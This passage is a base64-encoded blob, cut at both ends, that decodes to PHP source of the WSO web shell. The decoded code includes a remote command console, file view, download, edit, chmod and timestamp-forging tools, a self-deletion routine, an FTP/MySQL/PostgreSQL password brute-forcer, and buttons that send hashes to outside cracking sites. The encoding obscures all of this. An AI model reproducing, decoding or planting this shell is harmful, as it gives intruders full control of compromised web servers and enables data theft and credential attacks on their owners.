vYigkcGF0aCkgewoJCWlmKHN1YnN0cigkcGF0aCwgLTEpICE9ICcvJykKCQkJJHBhdGguPScvJzsKCQkkcGF0aHMgPSBAYXJyYXlfdW5pcXVlKEBhcnJheV9tZXJnZShAZ2xvYigkcGF0aC4kX1BPU1RbJ3AzJ10pLCBAZ2xvYigkcGF0aC4nKicsIEdMT0JfT05MWURJUikpKTsKCQlpZihpc19hcnJheSgkcGF0aHMpJiZAY291bnQoJHBhdGhzKSkgewoJCQlmb3JlYWNoKCRwYXRocyBhcyAkaXRlbSkgewoJCQkJaWYoQGlzX2RpcigkaXRlbSkpewoJCQkJCWlmKCRwYXRoIT0kaXRlbSkKCQkJCQkJd3NvUmVjdXJzaXZlR2xvYigkaXRlbSk7CgkJCQl9IGVsc2UgewoJCQkJCWlmKGVtcHR5KCRfUE9TVFsncDInXSkgfHwgQHN0cnBvcyhmaWxlX2dldF9jb250ZW50cygkaXRlbSksICRfUE9TVFsncDInXSkhPT1mYWxzZSkKCQkJCQkJZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIixudWxsLFwiIi51cmxlbmNvZGUoJGl0ZW0pLiJcIiwgXCJ2aWV3XCIsXCJcIiknPiIuaHRtbHNwZWNpYWxjaGFycygkaXRlbSkuIjwvYT48YnI+IjsKCQkJCX0KCQkJfQoJCX0KCX0KCWlmKEAkX1BPU1RbJ3AzJ10pCgkJd3NvUmVjdXJzaXZlR2xvYigkX1BPU1RbJ2MnXSk7CgllY2hvICI8L2Rpdj48YnI+PGgxPlNlYXJjaCBmb3IgaGFzaDo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnIHRhcmdldD0nX2JsYW5rJyBuYW1lPSdoZic+CgkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoJyBzdHlsZT0nd2lkdGg6MjAwcHg7Jz48YnI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2FjdCcgdmFsdWU9J2ZpbmQnLz4KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2hhc2hjcmFja2luZy5ydScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cHM6Ly9oYXNoY3JhY2tpbmcucnUvaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNS5yZWRub2l6ZS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9tZDUucmVkbm9pemUuY29tLz9xPScrZG9jdW1lbnQuaGYuaGFzaC52YWx1ZSsnJnM9bWQ1Jztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2NyYWNrZm9yLm1lJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vY3JhY2tmb3IubWUvaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KCQk8L2Zvcm0+PC9kaXY+IjsKCXdzb0Zvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25GaWxlc1Rvb2xzKCkgewoJaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKQoJCSRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOwoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgewoJCWlmKEBpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsKCQkJb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwoJCQloZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7CgkJCWlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsKCQkJCSR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7CgkJCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogIiAuICR0eXBlKTsKCQkJfSBlbHNlCiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7CgkJCWlmKCRmcCkgewoJCQkJd2hpbGUoIUBmZW9mKCRmcCkpCgkJCQkJZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsKCQkJCWZjbG9zZSgkZnApOwoJCQl9CgkJfWV4aXQ7Cgl9CglpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsKCQlpZighZmlsZV9leGlzdHMoJF9QT1NUWydwMSddKSkgewoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOwoJCQlpZigkZnApIHsKCQkJCSRfUE9TVFsncDInXSA9ICJlZGl0IjsKCQkJCWZjbG9zZSgkZnApOwoJCQl9CgkJfQoJfQoJd3NvSGVhZGVyKCk7CgllY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CglpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgewoJCWVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7CgkJd3NvRm9vdGVyKCk7CgkJcmV0dXJuOwoJfQoJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOwoJaWYoISR1aWQpIHsKCQkkdWlkWyduYW1lJ10gPSBAZmlsZW93bmVyKCRfUE9TVFsncDEnXSk7CgkJJGdpZFsnbmFtZSddID0gQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pOwoJfSBlbHNlICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pKTsKCWVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoQGJhc2VuYW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT93c29WaWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcud3NvUGVybXNDb2xvcigkX1BPU1RbJ3AxJ10pLicgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLic8YnI+JzsKCWVjaG8gJzxzcGFuPkNoYW5nZSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWN0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+QWNjZXNzIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlYXRpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5Nb2RpZnkgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nPGJyPjxicj4nOwoJaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQoJCSRfUE9TVFsncDInXSA9ICd2aWV3JzsKCWlmKCBpc19maWxlKCRfUE9TVFsncDEnXSkgKQoJCSRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKCWVsc2UKCQkkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKCWZvcmVhY2goJG0gYXMgJHYpCgkJZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcpIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ3AyJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8L2E+ICc7CgllY2hvICc8YnI+PGJyPic7Cglzd2l0Y2goJF9QT1NUWydwMiddKSB7CgkJY2FzZSAndmlldyc6CgkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPic7CgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7CgkJCWlmKCRmcCkgewoJCQkJd2hpbGUoICFAZmVvZigkZnApICkKCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOwoJCQkJQGZjbG9zZSgkZnApOwoJCQl9CgkJCWVjaG8gJzwvcHJlPic7CgkJCWJyZWFrOwoJCWNhc2UgJ2hpZ2hsaWdodCc6CgkJCWlmKCBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsKCQkJCWVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxO2NvbG9yOmJsYWNrOyI+JzsKCQkJCSRjb2RlID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSx0cnVlKTsKCQkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7CgkJCX0KCQkJYnJlYWs7CgkJY2FzZSAnY2htb2QnOgoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CgkJCQkkcGVybXMgPSAwOwoJCQkJZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkKCQkJCQkkcGVybXMgKz0gKGludCkkX1BPU1RbJ3AzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRfUE9TVFsncDMnXSktJGktMSkpOwoJCQkJaWYoIUBjaG1vZCgkX1BPU1RbJ3AxJ10sICRwZXJtcykpCgkJCQkJZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwoJCQl9CgkJCWNsZWFyc3RhdGNhY2hlKCk7CgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksLTQpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwoJCQlicmVhazsKCQljYXNlICdlZGl0JzoKCQkJaWYoICFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7CgkJCQllY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOwoJCQkJYnJlYWs7CgkJCX0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewoJCQkJJHRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSk7CgkJCQkkX1BPU1RbJ3AzJ10gPSBzdWJzdHIoJF9QT1NUWydwMyddLDEpOwoJCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwidyIpOwoJCQkJaWYoJGZwKSB7CgkJCQkJQGZ3cml0ZSgkZnAsJF9QT1NUWydwMyddKTsKCQkJCQlAZmNsb3NlKCRmcCk7CgkJCQkJZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pic7CgkJCQkJQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSk7CgkJCQl9CgkJCX0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsXCcxXCcrdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsKCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKCQkJaWYoJGZwKSB7CgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQoJCQkJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CgkJCQlAZmNsb3NlKCRmcCk7CgkJCX0KCQkJZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKCQkJYnJlYWs7CgkJY2FzZSAnaGV4ZHVtcCc6CgkJCSRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7CgkJCSRuID0gMDsKCQkJJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7CgkJCSRsZW4gPSBzdHJsZW4oJGMpOwoJCQlmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsKCQkJCSRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7CgkJCQlzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsKCQkJCQljYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwoJCQkJCWNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7CgkJCQkJY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKCQkJCQljYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOwoJCQkJCWRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7CgkJCQl9CgkJCQkkbisrOwoJCQkJaWYgKCRuID09IDMyKSB7CgkJCQkJJG4gPSAwOwoJCQkJCWlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9CgkJCQkJJGhbMV0gLj0gJzxicj4nOwoJCQkJCSRoWzJdIC49ICJcbiI7CgkJCQl9CgkJIAl9CgkJCWVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyMjIyPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsKCQkJYnJlYWs7CgkJY2FzZSAncmVuYW1lJzoKCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewoJCQkJaWYoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKQoJCQkJCWVjaG8gJ0NhblwndCByZW5hbWUhPGJyPic7CgkJCQllbHNlCgkJCQkJZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BPU1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CgkJCX0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CgkJCWJyZWFrOwoJCWNhc2UgJ3RvdWNoJzoKCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewoJCQkJJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydwMyddKTsKCQkJCWlmKCR0aW1lKSB7CgkJCQkJaWYoIXRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpCgkJCQkJCWVjaG8gJ0ZhaWwhJzsKCQkJCQllbHNlCgkJCQkJCWVjaG8gJ1RvdWNoZWQhJzsKCQkJCX0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhJzsKCQkJfQoJCQljbGVhcnN0YXRjYWNoZSgpOwoJCQllY2hvICc8c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwoJCQlicmVhazsKCX0KCWVjaG8gJzwvZGl2Pic7Cgl3c29Gb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uQ29uc29sZSgpIHsKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pICYmICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7CiAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0JywgdHJ1ZSk7CiAgICAgICAgJF9QT1NUWydwMSddIC49ICcgMj4mMSc7CiAgICB9IGVsc2VpZighZW1wdHkoJF9QT1NUWydwMSddKSkKICAgICAgICBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnLCAwKTsKCglpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKCQlXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCB0cnVlKTsKCQlvYl9zdGFydCgpOwoJCWVjaG8gImQuY2YuY21kLnZhbHVlPScnO1xuIjsKCQkkdGVtcCA9IEBpY29udigkX1BPU1RbJ2NoYXJzZXQnXSwgJ1VURi04JywgYWRkY3NsYXNoZXMoIlxuJCAiLiRfUE9TVFsncDEnXS4iXG4iLndzb0V4KCRfUE9TVFsncDEnXSksIlxuXHJcdFxcJ1wwIikpOwoJCWlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkJewoJCQlpZihAY2hkaXIoJG1hdGNoWzFdKSkgewoJCQkJJEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpOwoJCQkJZWNobyAiY189JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7CgkJCX0KCQl9CgkJZWNobyAiZC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7CgkJZWNobyAiZC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7CgkJJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsKCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwoJCWV4aXQ7Cgl9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQoJCVdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIDApOwoJd3NvSGVhZGVyKCk7CiAgICBlY2hvICI8c2NyaXB0PgppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOwp2YXIgY21kcyA9IG5ldyBBcnJheSgnJyk7CnZhciBjdXIgPSAwOwpmdW5jdGlvbiBrcChlKSB7Cgl2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsKCWlmKG4gPT0gMzgpIHsKCQljdXItLTsKCQlpZihjdXI+PTApCgkJCWRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsKCQllbHNlCgkJCWN1cisrOwoJfSBlbHNlIGlmKG4gPT0gNDApIHsKCQljdXIrKzsKCQlpZihjdXIgPCBjbWRzLmxlbmd0aCkKCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOwoJCWVsc2UKCQkJY3VyLS07Cgl9Cn0KZnVuY3Rpb24gYWRkKGNtZCkgewoJY21kcy5wb3AoKTsKCWNtZHMucHVzaChjbWQpOwoJY21kcy5wdXNoKCcnKTsKCWN1ciA9IGNtZHMubGVuZ3RoLTE7Cn0KPC9zY3JpcHQ+IjsKCWVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZC5jZi5vdXRwdXQudmFsdWU9XCdcJztkLmNmLmNtZC52YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSByZXR1cm4gZmFsc2U7Ij48c2VsZWN0IG5hbWU9YWxpYXM+JzsKCWZvcmVhY2goJEdMT0JBTFNbJ2FsaWFzZXMnXSBhcyAkbiA9PiAkdikgewoJCWlmKCR2ID09ICcnKSB7CgkJCWVjaG8gJzxvcHRncm91cCBsYWJlbD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+JzsKCQkJY29udGludWU7CgkJfQoJCWVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI+Jy4kbi4nPC9vcHRpb24+JzsKCX0KCQoJZWNobyAnPC9zZWxlY3Q+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkLmNmLmFsaWFzLnZhbHVlKTtpZihkLmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO30iIHZhbHVlPSI+PiI+IDxub2JyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c2hvd19lcnJvcnMgdmFsdWU9MSAnLighZW1wdHkoJF9QT1NUWydwMiddKXx8JF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT8nY2hlY2tlZCc6JycpLic+IHJlZGlyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI+JjEpPC9ub2JyPjxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDttYXJnaW46MDsiIHJlYWRvbmx5Pic7CglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCWVjaG8gaHRtbHNwZWNpYWxjaGFycygiJCAiLiRfUE9TVFsncDEnXS4iXG4iLndzb0V4KCRfUE9TVFsncDEnXSkpOwoJfQoJZWNobyAnPC90ZXh0YXJlYT48dGFibGUgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgI2RmNTtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyLXRvcDowcHg7IiBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgd2lkdGg9IjEwMCUiPjx0cj48dGQgd2lkdGg9IjElIj4kPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNtZCBzdHlsZT0iYm9yZGVyOjBweDt3aWR0aDoxMDAlOyIgb25rZXlkb3duPSJrcChldmVudCk7Ij48L3RkPjwvdHI+PC90YWJsZT4nOwoJZWNobyAnPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZC5jZi5jbWQuZm9jdXMoKTs8L3NjcmlwdD4nOwoJd3NvRm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsKICAgIHNldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJycsIHRpbWUoKSAtIDM2MDApOwoJZGllKCdieWUhJyk7Cn0KCmZ1bmN0aW9uIGFjdGlvblNlbGZSZW1vdmUoKSB7CgoJaWYoJF9QT1NUWydwMSddID09ICd5ZXMnKQoJCWlmKEB1bmxpbmsocHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpCgkJCWRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOwoJCWVsc2UKCQkJZWNobyAndW5saW5rIGVycm9yISc7CiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3llcycpCiAgICAgICAgd3NvSGVhZGVyKCk7CgllY2hvICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50PlJlYWxseSB3YW50IHRvIHJlbW92ZSB0aGUgc2hlbGw/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7Cgl3c29Gb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uQnJ1dGVmb3JjZSgpIHsKCXdzb0hlYWRlcigpOwoJaWYoIGlzc2V0KCRfUE9TVFsncHJvdG8nXSkgKSB7CgkJZWNobyAnPGgxPlJlc3VsdHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3Bhbj5UeXBlOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncHJvdG8nXSkuJyA8c3Bhbj5TZXJ2ZXI6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzZXJ2ZXInXSkuJzxicj4nOwoJCWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ2Z0cCcgKSB7CgkJCWZ1bmN0aW9uIHdzb0JydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgewoJCQkJJGZwID0gQGZ0cF9jb25uZWN0KCRpcCwgJHBvcnQ/JHBvcnQ6MjEpOwoJCQkJaWYoISRmcCkgcmV0dXJuIGZhbHNlOwoJCQkJJHJlcyA9IEBmdHBfbG9naW4oJGZwLCAkbG9naW4sICRwYXNzKTsKCQkJCUBmdHBfY2xvc2UoJGZwKTsKCQkJCXJldHVybiAkcmVzOwoJCQl9CgkJfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnbXlzcWwnICkgewoJCQlmdW5jdGlvbiB3c29CcnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKCQkJCSRyZXMgPSBAbXlzcWxfY29ubmVjdCgkaXAuJzonLigkcG9ydD8kcG9ydDozMzA2KSwgJGxvZ2luLCAkcGFzcyk7CgkJCQlAbXlzcWxfY2xvc2UoJHJlcyk7CgkJCQlyZXR1cm4gJHJlczsKCQkJfQoJCX0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ3Bnc3FsJyApIHsKCQkJZnVuY3Rpb24gd3NvQnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7CgkJCQkkc3RyID0gImhvc3Q9JyIuJGlwLiInI